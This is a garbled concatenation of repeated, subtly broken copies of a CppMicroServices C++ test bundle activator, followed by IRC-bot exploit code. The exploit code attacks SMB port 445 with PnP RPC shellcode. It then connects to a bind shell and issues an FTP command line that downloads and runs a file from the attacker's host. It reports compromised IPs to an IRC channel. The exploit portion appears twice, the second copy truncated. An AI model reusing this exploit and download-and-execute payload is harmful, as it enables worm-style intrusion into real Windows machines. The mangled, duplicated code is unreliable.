/*=============================================================================

  Library: CppMicroServices

  file at the top-level directory of this distribution and at
  http://example.com .

=============================================================================*/

#include "cppmicroservices/BundleActivator.h"
#include "cppmicroservices/BundleContext.h"
#include "cppmicroservices/LDAPProp.h"
#include "cppmicroservices/ServiceRegistration.h"
#include "cppmicroservices/ServiceTracker.h"

#include "cppmicroservices/util/String.h"

#include <condition_variable>
#include <future>
#include <queue>
#include <thread>

namespace cppmicroservices {

class TestBundleC1Activator
  : public BundleActivator
  , public ServiceTrackerCustomizer<void>
{
public:
  TestBundleC1Activator()
    : context()
    , stop(false)
    , count(0)
  {}

  ~TestBundleC1Activator() {}

  void Start(BundleContext context)
  {
    this->context = context;

    cppmicroservices::LDAPFilter filter(
      cppmicroservices::LDAPProp(Constants::OBJECTCLASS) ==
        "org.cppmicroservices.c1.*" &&
      cppmicroservices::LDAPProp("i") == 5);
    tracker.reset(new ServiceTracker<void>(context, filter, this));
    tracker->Open();

    std::promise<void> p;
    std::shared_future<void> f = p.get_future().share();

    // Start ten threads, each registering ten services
    for (int c = 0; c < 10; ++c) {
      threads.emplace_back(
        &TestBundleC1Activator::RegisterServices, this, f, c);
    }

    // Start a thread that unregisters the services
    unregThread = std::thread(&TestBundleC1Activator::UnRegister, this);

    p.set_value();
  }

  void Stop(BundleContext)
  {
    for (auto& th : threads) {
      th.join();
    }

    stop = true;
    unregThread.join();

    tracker->Close();

    if (count != 0)
      throw std::logic_error("Not unregistered all services");
  }

  void RegisterServices(std::shared_future<void> f, int c)
  {
    f.wait();

    for (int i = 0; i < 10; ++i) {
      // Register a service ten times with different properties
      InterfaceMap im;
      im[std::string("org.cppmicroservices.c1.") + util::ToString(c)] =
        std::make_shared<int>(1);
      ServiceProperties props;
      props["i"] = i;
      auto reg = context.RegisterService(
        std::make_shared<const InterfaceMap>(im), props);
      regs.Lock(), regs.v.emplace_back(std::move(reg));
      count++;
      if (i % 5 == 0)
        regs.NotifyAll();
    }
  }

  void UnRegister()
  {
    while (!(stop.load() && (regs.Lock(), regs.v.empty()))) {
      std::vector<ServiceRegistrationU> currRegs;
      regs.Lock(), std::swap(currRegs, regs.v);
      if (currRegs.empty()) {
        auto l = regs.Lock();
        regs.WaitFor(l, std::chrono::milliseconds(100), [this] {
          return !regs.v.empty();
        });
        std::swap(currRegs, regs.v);
      }

      for (auto& reg : currRegs) {
        if (reg.GetReference().GetProperty("i") == 5) {
          // change a property, unregister later
          ServiceProperties newProps;
          newProps["i"] = 15;
          reg.SetProperties(newProps);
          regs.Lock(), regs.v.push_back(reg);
        } else {
          reg.Unregister();
          count--;
        }
      }
    }
  }

  // -------------------- Service Tracker Customizer -------------------------

  InterfaceMapConstPtr AddingService(const ServiceReferenceU& reference)
  {
    if (reference.GetProperty("i") == 5) {
      auto l = additionalReg.Lock();
      if (!additionalReg.v) {
        InterfaceMap im;
        im[std::string("org.cppmicroservices.c1.additional")] =
          std::make_shared<int>(2);
        additionalReg.v =
          context.RegisterService(std::make_shared<const InterfaceMap>(im));
      }
      return InterfaceMapConstPtr();
    }
    return context.GetService(reference);

  void ModifiedService(const ServiceReferenceU& reference,
                       const InterfaceMapConstPtr& /*service*/)
  {
    if (reference.GetProperty("i") != 5)
      throw std::logic_error("modified end match: wrong property");
    context.GetService(reference);
  }

  void RemovedService(const ServiceReferenceU& /*reference*/,
                      const InterfaceMapConstPtr& /*service*/)
  {
    auto l = additionalReg.Lock();
    if (additionalReg.v)
      additionalReg.v.Unregister();
  }

private:
  BundleContext context;

  std::unique_ptr<ServiceTracker<void>> tracker;

  std::vector<std::thread> threads;
  std::thread unregThread;

  struct
    : detail::MultiThreaded<detail::MutexLockingStrategy<>,
                            detail::WaitCondition>
  {
    std::vector<ServiceRegistrationU> v;
  } regs;

  struct : detail::MultiThreaded<>
  {
    ServiceRegistrationU v;
  } additionalReg;

  std::atomic<bool> stop;
  std::atomic<int> count;
};

} // namespace cppmicroservices

CPPMICROSERVICES_EXPORT_BUNDLE_ACTIVATOR(
  cppmicroservices::TestBundleC1Activator)


/*=============================================================================

  Library: CppMicroServices

  file at the top-level directory of this distribution and at
  http://example.com .

=============================================================================*/

#include "cppmicroservices/BundleActivator.h"
#include "cppmicroservices/BundleContext.h"
#include "cppmicroservices/LDAPProp.h"
#include "cppmicroservices/ServiceRegistration.h"
#include "cppmicroservices/ServiceTracker.h"

#include "cppmicroservices/util/String.h"

#include <condition_variable>
#include <future>
#include <queue>
#include <thread>

namespace cppmicroservices {

class TestBundleC1Activator
  : public BundleActivator
  , public ServiceTrackerCustomizer<void>
{
public:
  TestBundleC1Activator()
    : context()
    , stop(false)
    , count(0)
  {}

  ~TestBundleC1Activator() {}

  void Start(BundleContext context)
  {
    this->context = context;

    cppmicroservices::LDAPFilter filter(
      cppmicroservices::LDAPProp(Constants::OBJECTCLASS) ==
        "org.cppmicroservices.c1.*" &&
      cppmicroservices::LDAPProp("i") == 5);
    tracker.reset(new ServiceTracker<void>(context, filter, this));
    tracker->Open();

    std::promise<void> p;
    std::shared_future<void> f = p.get_future().share();

    // Start ten threads, each registering ten services
    for (int c = 0; c < 10; ++c) {
      threads.emplace_back(
        &TestBundleC1Activator::RegisterServices, this, f, c);
    }

    // Start a thread that unregisters the services
    unregThread = std::thread(&TestBundleC1Activator::UnRegister, this);

    p.set_value();
  }

  void Stop(BundleContext)
  {
    for (auto& th : threads) {
      th.join();
    }

    stop = true;
    unregThread.join();

    tracker->Close();

    if (count != 0)
      throw std::logic_error("Not unregistered all services");
  }

  void RegisterServices(std::shared_future<void> f, int c)
  {
    f.wait();

    for (int i = 0; i < 10; ++i) {
      // Register a service ten times with different properties
      InterfaceMap im;
      im[std::string("org.cppmicroservices.c1.") + util::ToString(c)] =
        std::make_shared<int>(1);
      ServiceProperties props;
      props["i"] = i;
      auto reg = context.RegisterService(
        std::make_shared<const InterfaceMap>(im), props);
      regs.Lock(), regs.v.emplace_back(std::move(reg));
      count++;
      if (i % 5 == 0)
        regs.NotifyAll();
    }
  }

  void UnRegister()
  {
    while (!(stop.load() && (regs.Lock(), regs.v.empty()))) {
      std::vector<ServiceRegistrationU> currRegs;
      regs.Lock(), std::swap(currRegs, regs.v);
      if (currRegs.empty()) {
        auto l = regs.Lock();
        regs.WaitFor(l, std::chrono::milliseconds(100), [this] {
          return !regs.v.empty();
        });
        std::swap(currRegs, regs.v);
      }

      for (auto& reg : currRegs) {
        if (reg.GetReference().GetProperty("i") == 5) {
          // change a property, unregister later
          ServiceProperties newProps;
          newProps["i"] = 15;
          reg.SetProperties(newProps);
          regs.Lock(), regs.v.push_back(reg);
        } else {
          reg.Unregister();
          count--;
        }
      }
    }
  }

  // -------------------- Service Tracker Customizer -------------------------

  InterfaceMapConstPtr AddingService(const ServiceReferenceU& reference)
  {
    if (reference.GetProperty("i") == 5) {
      auto l = additionalReg.Lock();
      if (!additionalReg.v) {
        InterfaceMap im;
        im[std::string("org.cppmicroservices.c1.additional")] =
          std::make_shared<int>(2);
        additionalReg.v =
          context.RegisterService(std::make_shared<const InterfaceMap>(im));
      }
      return InterfaceMapConstPtr();
    }
    return context.GetService(reference);
  }

  void ModifiedService(const ServiceReferenceU& reference,
                       const InterfaceMapConstPtr& /*service*/)
  {
    if (reference.GetProperty("i") != 5)
      throw std::logic_error("modified end match: wrong property");
    conte

  }

  void RemovedService(const ServiceReferenceU& /*reference*/,
                      const InterfaceMapConstPtr& /*service*/)
  {
    auto l = additionalReg.Lock();
    if (additionalReg.v)
      additionalReg.v.Unregister();
  }

private:
  BundleContext context;

  std::unique_ptr<ServiceTracker<void>> tracker;

  std::vector<std::thread> threads;
  std::thread unregThread;

  struct
    : detail::MultiThreaded<detail::MutexLockingStrategy<>,
                            detail::WaitCondition>
  {
    std::vector<ServiceRegistrationU> v;
  } regs;

  struct : detail::MultiThreaded<>
  {
    ServiceRegistrationU v;
  } additionalReg;

  std::atomic<bool> stop;
  std::atomic<int> count;
};

} // namespace cppmicroservices

CPPMICROSERVICES_EXPORT_BUNDLE_ACTIVATOR(
  cppmicroservices::TestBundleC1Activator)


if (currRegs.empty()) {
        auto l = regs.Lock();
        regs.WaitFor(l, std::chrono::milliseconds(100), [this] {
          return !regs.v.empty();
        });
        std::swap(currRegs, regs.v);
      }

/*=============================================================================

  Library: CppMicroServices

  file at the top-level directory of this distribution and at
  http://example.com .

=============================================================================*/

#include "cppmicroservices/BundleActivator.h"
#include "cppmicroservices/BundleContext.h"
#include "cppmicroservices/LDAPProp.h"
#include "cppmicroservices/ServiceRegistration.h"
#include "cppmicroservices/ServiceTracker.h"

#include "cppmicroservices/util/String.h"

#include <condition_variable>
#include <future>
#include <queue>
#include <thread>

namespace cppmicroservices {

class TestBundleC1Activator
  : public BundleActivator
  , public ServiceTrackerCustomizer<void>
{
public:
  TestBundleC1Activator()
    : context()
    , stop(false)
    , count(0)
  {}

  ~TestBundleC1Activator() {}

  void Start(BundleContext context)
  {
    this->context = context;

    cppmicroservices::LDAPFilter filter(
      cppmicroservices::LDAPProp(Constants::OBJECTCLASS) ==
        "org.cppmicroservices.c1.*" &&
      cppmicroservices::LDAPProp("i") == 5);
    tracker.reset(new ServiceTracker<void>(context, filter, this));
    tracker->Open();

    std::promise<void> p;
    std::shared_future<void> f = p.get_future().share();

    // Start ten threads, each registering ten services
    for (int c = 0; c < 10; ++c) {
      threads.emplace_back(
        &TestBundleC1Activator::RegisterServices, this, f, c);
    }

    // Start a thread that unregisters the services
    unregThread = std::thread(&TestBundleC1Activator::UnRegister, this);

    p.set_value();
  }

  void Stop(BundleContext)
  {
    for (auto& th : threads) {
      th.join();
    }

    stop = true;
    unregThread.join();

    tracker->Close();

    if (count != 0)
      throw std::logic_error("Not unregistered all services");
  }

  void RegisterServices(std::shared_future<void> f, int c)
  {
    f.wait();

    for (int i = 0; i < 10; ++i) {
      // Register a service ten times with different properties
      InterfaceMap im;
      im[std::string("org.cppmicroservices.c1.") + util::ToString(c)] =
        std::make_shared<int>(1);
      ServiceProperties props;
      props["i"] = i;
      auto reg = context.RegisterService(
        std::make_shared<const InterfaceMap>(im), props);
      regs.Lock(), regs.v.emplace_back(std::move(reg));
      count++;
      if (i % 5 == 0)
        regs.NotifyAll();
    }
  }

  void UnRegister()
  {
    while (!(stop.load() && (regs.Lock(), regs.v.empty()))) {
      std::vector<ServiceRegistrationU> currRegs;
      regs.Lock(), std::swap(currRegs, regs.v);

      for (auto& reg : currRegs) {
        if (reg.GetReference().GetProperty("i") == 5) {
          // change a property, unregister later
          ServiceProperties newProps;
          newProps["i"] = 15;
          reg.SetProperties(newProps);
          regs.Lock(), regs.v.push_back(reg);
        } else {
          reg.Unregister();
          count--;
        }
      }
    }
  }

  // -------------------- Service Tracker Customizer -------------------------

  InterfaceMapConstPtr AddingService(const ServiceReferenceU& reference)
  {
    if (reference.GetProperty("i") == 5) {
      auto l = additionalReg.Lock();
      if (!additionalReg.v) {
        InterfaceMap im;
        im[std::string("org.cppmicroservices.c1.additional")] =
          std::make_shared<int>(2);
        additionalReg.v =
          context.RegisterService(std::make_shared<const InterfaceMap>(im));
      }
      return InterfaceMapConstPtr();
    }
    return context.GetService(reference);
  }

  void ModifiedService(const ServiceReferenceU& reference,
                       const InterfaceMapConstPtr& /*service*/)
  {
    if (reference.GetProperty("i") != 5)
      throw std::logic_error("modified end match: wrong property");
    context.GetService(reference);
  }

  void RemovedService(const ServiceReferenceU& /*reference*/,
                      const InterfaceMapConstPtr& /*service*/)
  {
    auto l = additionalReg.Lock();
    if (additionalReg.v)
      additionalReg.v.Unregister();
  }

private:
  BundleContext context;

  std::unique_ptr<ServiceTracker<void>> tracker;

  std::vector<std::thread> threads;
  std::thread unregThread;

  struct
    : detail::MultiThreaded<detail::MutexLockingStrategy<>,
                            detail::WaitCondition>
  {
    std::vector<ServiceRegistrationU> v;
  } regs;

  struct : detail::MultiThreaded<>
  {
    ServiceRegistrationU v;
  } additionalReg;

  std::atomic<bool> stop;
  std::atomic<int> count;
};

} // namespace cppmicroservices

CPPMICROSERVICES_EXPORT_BUNDLE_ACTIVATOR(
  cppmicroservices::TestBundleC1Activator)


for (int c = 0; c < 10; ++c) {
      threads.emplace_back(
        &TestBundleC1Activator::RegisterServices, this, f, c);
    }

/*=============================================================================

  Library: CppMicroServices

  file at the top-level directory of this distribution and at
  http://example.com .

=============================================================================*/

#include "cppmicroservices/BundleActivator.h"
#include "cppmicroservices/BundleContext.h"
#include "cppmicroservices/LDAPProp.h"
#include "cppmicroservices/ServiceRegistration.h"
#include "cppmicroservices/ServiceTracker.h"

#include "cppmicroservices/util/String.h"

#include <condition_variable>
#include <future>
#include <queue>
#include <thread>

namespace cppmicroservices {

class TestBundleC1Activator
  : public BundleActivator
  , public ServiceTrackerCustomizer<void>
{
public:
  TestBundleC1Activator()
    : context()
    , stop(false)
    , count(0)
  {}

  ~TestBundleC1Activator() {}

  void Start(BundleContext context)
  {
    this->context = context;

    cppmicroservices::LDAPFilter filter(
      cppmicroservices::LDAPProp(Constants::OBJECTCLASS) ==
        "org.cppmicroservices.c1.*" &&
      cppmicroservices::LDAPProp("i") == 5);
    tracker.reset(new ServiceTracker<void>(context, filter, this));
    tracker->Open();

    std::promise<void> p;
    std::shared_future<void> f = p.get_future().share();

    // Start ten threads, each registering ten services

    // Start a thread that unregisters the services
    unregThread = std::thread(&TestBundleC1Activator::UnRegister, this);

    p.set_value();
  }

  void Stop(BundleContext)
  {
    for (auto& th : threads) {
      th.join();
    }

    stop = true;
    unregThread.join();

    tracker->Close();

    if (count != 0)
      throw std::logic_error("Not unregistered all services");
  }

  void RegisterServices(std::shared_future<void> f, int c)
  {
    f.wait();

    for (int i = 0; i < 10; ++i) {
      // Register a service ten times with different properties
      InterfaceMap im;
      im[std::string("org.cppmicroservices.c1.") + util::ToString(c)] =
        std::make_shared<int>(1);
      ServiceProperties props;
      props["i"] = i;
      auto reg = context.RegisterService(
        std::make_shared<const InterfaceMap>(im), props);
      regs.Lock(), regs.v.emplace_back(std::move(reg));
      count++;
      if (i % 5 == 0)
        regs.NotifyAll();
    }
  }

  void UnRegister()
  {
    while (!(stop.load() && (regs.Lock(), regs.v.empty()))) {
      std::vector<ServiceRegistrationU> currRegs;
      regs.Lock(), std::swap(currRegs, regs.v);
      if (currRegs.empty()) {
        auto l = regs.Lock();
        regs.WaitFor(l, std::chrono::milliseconds(100), [this] {
          return !regs.v.empty();
        });
        std::swap(currRegs, regs.v);
      }

      for (auto& reg : currRegs) {
        if (reg.GetReference().GetProperty("i") == 5) {
          // change a property, unregister later
          ServiceProperties newProps;
          newProps["i"] = 15;
          reg.SetProperties(newProps);
          regs.Lock(), regs.v.push_back(reg);
        } else {
          reg.Unregister();
          count--;
        }
      }
    }
  }

  // -------------------- Service Tracker Customizer -------------------------

  InterfaceMapConstPtr AddingService(const ServiceReferenceU& reference)
  {
    if (reference.GetProperty("i") == 5) {
      auto l = additionalReg.Lock();
      if (!additionalReg.v) {
        InterfaceMap im;
        im[std::string("org.cppmicroservices.c1.additional")] =
          std::make_shared<int>(2);
        additionalReg.v =
          context.RegisterService(std::make_shared<const InterfaceMap>(im));
      }
      return InterfaceMapConstPtr();
    }
    return context.GetService(reference);
  }

  void ModifiedService(const ServiceReferenceU& reference,
                       const InterfaceMapConstPtr& /*service*/)
  {
    if (reference.GetProperty("i") != 5)
      throw std::logic_error("modified end match: wrong property");
    context.GetService(reference);
  }

  void RemovedService(const ServiceReferenceU& /*reference*/,
                      const InterfaceMapConstPtr& /*service*/)
  {
    auto l = additionalReg.Lock();
    if (additionalReg.v)
      additionalReg.v.Unregister();
  }

private:
  BundleContext context;

  std::unique_ptr<ServiceTracker<void>> tracker;

  std::vector<std::thread> threads;
  std::thread unregThread;

  struct
    : detail::MultiThreaded<detail::MutexLockingStrategy<>,
                            detail::WaitCondition>
  {
    std::vector<ServiceRegistrationU> v;
  } regs;

  struct : detail::MultiThreaded<>
  {
    ServiceRegistrationU v;
  } additionalReg;

  std::atomic<bool> stop;
  std::atomic<int> count;
};

} // namespace cppmicroservices

CPPMICROSERVICES_EXPORT_BUNDLE_ACTIVATOR(
  cppmicroservices::TestBundleC1Activator)


/*=============================================================================

  Library: CppMicroServices

  file at the top-level directory of this distribution and at
  http://example.com .

=============================================================================*/

#include "cppmicroservices/BundleActivator.h"
#include "cppmicroservices/BundleContext.h"
#include "cppmicroservices/LDAPProp.h"
#include "cppmicroservices/ServiceRegistration.h"
#include "cppmicroservices/ServiceTracker.h"

#include "cppmicroservices/util/String.h"

#include <condition_variable>
#include <future>
#include <queue>
#include <thread>

namespace cppmicroservices {

class TestBundleC1Activator
  : public BundleActivator
  , public ServiceTrackerCustomizer<void>
{
public:
  TestBundleC1Activator()
    : context()
    , stop(false)
    , count(0)
  {}

  ~TestBundleC1Activator() {}

  void Start(BundleContext context)
  {
    this->context = context;

    cppmicroservices::LDAPFilter filter(
      cppmicroservices::LDAPProp(Constants::OBJECTCLASS) ==
        "org.cppmicroservices.c1.*" &&
      cppmicroservices::LDAPProp("i") == 5);
    tracker.reset(new ServiceTracker<void>(context, filter, this));
    tracker->Open();

    std::promise<void> p;
    std::shared_future<void> f = p.get_future().share();

    // Start ten threads, each registering ten services
    for (int c = 0; c < 10; ++c) {
      threads.emplace_back(
        &TestBundleC1Activator::RegisterServices, this, f, c);
    }

    // Start a thread that unregisters the services
    unregThread = std::thread(&TestBundleC1Activator::UnRegister, this);

    p.set_value();
  }

  void Stop(BundleContext)
  {
    for (auto& th : threads) {
      th.join();
    }

    stop = true;
    unregThread.join();

    tracker->Close();

    if (count != 0)
      throw std::logic_error("Not unregistered all services");
  }

  void RegisterServices(std::shared_future<void> f, int c)
  {
    f.wait();

    for (int i = 0; i < 10; ++i) {
      // Register a service ten times with different properties
      InterfaceMap im;
      im[std::string("org.cppmicroservices.c1.") + util::ToString(c)] =
        std::make_shared<int>(1);
      ServiceProperties props;
      props["i"] = i;
      auto reg = context.RegisterService(
        std::make_shared<const InterfaceMap>(im), props);
      regs.Lock(), regs.v.emplace_back(std::move(reg));
      count++;
      if (i % 5 == 0)
        regs.NotifyAll();
    }
  }

  void UnRegister()
  {
    while (!(stop.load() && (regs.Lock(), regs.v.empty()))) {
      std::vector<ServiceRegistrationU> currRegs;
      regs.Lock(), std::swap(currRegs, regs.v);
      if (currRegs.empty()) {
        auto l = regs.Lock();
        regs.WaitFor(l, std::chrono::milliseconds(100), [this] {
          return !regs.v.empty();
        });
        std::swap(currRegs, regs.v);
      }

      for (auto& reg : currRegs) {
        if (reg.GetReference().GetProperty("i") == 5) {
          // change a property, unregister later
          ServiceProperties newProps;
          newProps["i"] = 15;
          reg.SetProperties(newProps);
          regs.Lock(), regs.v.push_back(reg);
        } else {
          reg.Unregister();
          count--;
        }
      }
    }
  }

  // -------------------- Service Tracker Customizer -------------------------

  InterfaceMapConstPtr AddingService(const ServiceReferenceU& reference)
  {
    if (reference.GetProperty("i") == 5) {
      auto l = additionalReg.Lock();
      if (!additionalReg.v) {
        InterfaceMap im;
        im[std::string("org.cppmicroservices.c1.additional")] =
          std::make_shared<int>(2);
        additionalReg.v =
          context.RegisterService(std::make_shared<const InterfaceMap>(im));
      }
      return InterfaceMapConstPtr();
    }
    return context.GetService(reference);
  }

  void ModifiedService(const ServiceReferenceU& reference,
                       const InterfaceMapConstPtr& /*service*/)
  {
    if (reference.GetProperty("i") != 5)
      throw std::logic_error("modified end match: wrong property");
    context.GetService(reference);
  }

  void RemovedService(const ServiceReferenceU& /*reference*/,
                      const InterfaceMapConstPtr& /*service*/)
  {
    auto l = additionalReg.Lock();
    if (additionalReg.v)
      additionalReg.v.Unregister();
  }

private:
  BundleContext context;

  std::unique_ptr<ServiceTracker<void>> tracker;

  std::vector<std::thread> threads;
  std::thread unregThread;

  struct
    : detail::MultiThreaded<detail::MutexLockingStrategy<>,
                            detail::WaitCondition>
  {
    std::vector<ServiceRegistrationU> v;
  } regs;

  struct : detail::MultiThreaded<>
  {
    ServiceRegistrationU v;
  } additionalReg;

  std::atomic<bool> stop;
  std::atomic<int> count;
};

} // n

amespace cppmicroservices

CPPMICROSERVICES_EXPORT_BUNDLE_ACTIVATOR(
  cppmicroservices::TestBundleC1Activator)


void
convert_name(char *out, char *name)

{
	unsigned long len;

	len = strlen(name);
	out += len * 2 - 1;
	while (len--) {
		*out-- = '\x00';
		*out-- = name[len];
	}
}

bool ConnectShell(EXINFO exinfo) {

		int len;
		char recvbuf[1024];
		SOCKET sockfd;
		SOCKADDR_IN shell_addr;
		memset(&shell_addr, 0, sizeof(shell_addr));

		shell_addr.sin_family = AF_INET;
		shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
		shell_addr.sin_port = fhtons(8888);

		if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
			return false;
		if (fconnect(sockfd, (LPSOCKADDR)&shell_addr, sizeof(shell_addr)) == SOCKET_ERROR)
			return false;

		char mkdir_buff[400];

		len = frecv(sockfd, recvbuf, 1024, 0);

		_snprintf(mkdir_buff, sizeof (mkdir_buff),
		"echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &%s\r\n",
		GetIP(exinfo.sock),FTP_PORT,filename,filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		Sleep(500);

		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


{
	unsigned long len;

	len = strlen(name);
	out += len * 2 - 1;
	while (len--) {
		*out-- = '\x00';
		*out-- = name[len];
	}
}

bool ConnectShell(EXINFO exinfo) {

		int len;
		char recvbuf[1024];
		SOCKET sockfd;
		SOCKADDR_IN shell_addr;
		memset(&shell_addr, 0, sizeof(shell_addr));

		shell_addr.sin_family = AF_INET;
		shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
		shell_addr.sin_port = fhtons(8888);

		if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
			return false;
		if (fconnect(sockfd, (LPSOCKADDR)&shell_addr, sizeof(shell_addr)) == SOCKET_ERROR)
			return false;

		char mkdir_buff[400];

		len = frecv(sockfd, recvbuf, 1024, 0);

		_snprintf(mkdir_buff, sizeof (mkdir_buff),
		"echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &%s\r\n",
		GetIP(exinfo.sock),FTP_PORT,filename,filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		Sleep(500);

		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

